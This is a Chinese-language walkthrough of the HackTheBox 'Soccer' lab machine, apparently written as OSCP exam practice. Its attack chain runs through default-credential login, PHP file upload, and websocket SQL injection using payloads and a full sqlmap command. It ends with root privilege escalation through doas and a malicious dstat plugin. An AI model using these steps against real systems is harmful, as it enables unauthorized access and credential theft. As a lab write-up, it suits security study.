OSCP-Soccer
Soccer
来源:HackTheBox
难度:Easy
nmap -T4 -A -sV -p- 10.10.11.194
扫出来22,80,9091三个端口,访问80发现是一个博客网站,爆破目录发现/tiny目录
dirsearch -u http://soccer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# OSCP允许使用dirsearch,可以用-w参数指定字典,建议使用这种办法爆破,有hostname就不要爆ip,可能会出问题
知道这是一个叫Tiny File Manager的CMS,我们上网查询其默认密码,查到是admin/admin@123,直接登进去了,然后里面有一个文件上传点,可以直接上传php,传完之后打一个php反弹shell,拿到www-data权限,然后知道是用了nginx中间件,查看其配置查找是否有旁站,看到这样一个文件:
看到有soc-player.htb
猜测有这么一个子站soc-player.soccer.htb
,访问发现真有,此时我们修改host文件,将此站点解析到10.10.11.194,然后猜测login目录,直接杀到登录口:
没有账号,尝试注册一个登录,进入后发现有一个验票的功能点,输入门票id可以验证门票是否有效,一秒猜出漏洞类别,猜测会有sql注入,抓包,发现是用的websocket来通信的,这下知道开的9091端口是拿来干嘛的了:
尝试如下payload:
{"id":"1 or 1=1"} // 返回存在票据
{"id":"1 or 1=2"} // 返回不存在票据
基本坐实sql注入,是盲注,那么如何使用sqlmap对websocket进行注入呢,其实很简单,payload如下(注意:OSCP考试并不允许使用sqlmap):
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
# --batch 不询问全部默认
# * 星号告诉sqlmap对这里进行注入
最后爆库爆表爆记录出了player用户的密码,用这个player账户和他的密码尝试登录ssh:
player@10.10.11.194
成功登录,开始提权
一番操作,使用payload:
find / -perm -u=s -type f 2>/dev/null
找到一个suid有问题的文件:
/usr/local/bin/doas
查找资料,这个程序跟sudo差不多,非常可疑了,用find找到它的配置文件:
# /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
说明我们可以利用doas,以root权限去运行dstat
继续深入,发现这个dstat可以运行python代码写的插件,使用man dstat
可以找到其插件的目录:/usr/local/share/dstat
这就好办了,如果我们写一个python reverse shell的插件,doas运行这个dstat,然后加载这个插件,不就可以获得一个root的反弹shell?
使用命令:
echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_pwn.py
写入恶意插件,然后用doas /usr/bin/dstat --list
发现确实加载上了我们的插件,最后用doas /usr/bin/dstat --pwn
成功以root身份执行我们的恶意插件获得root权限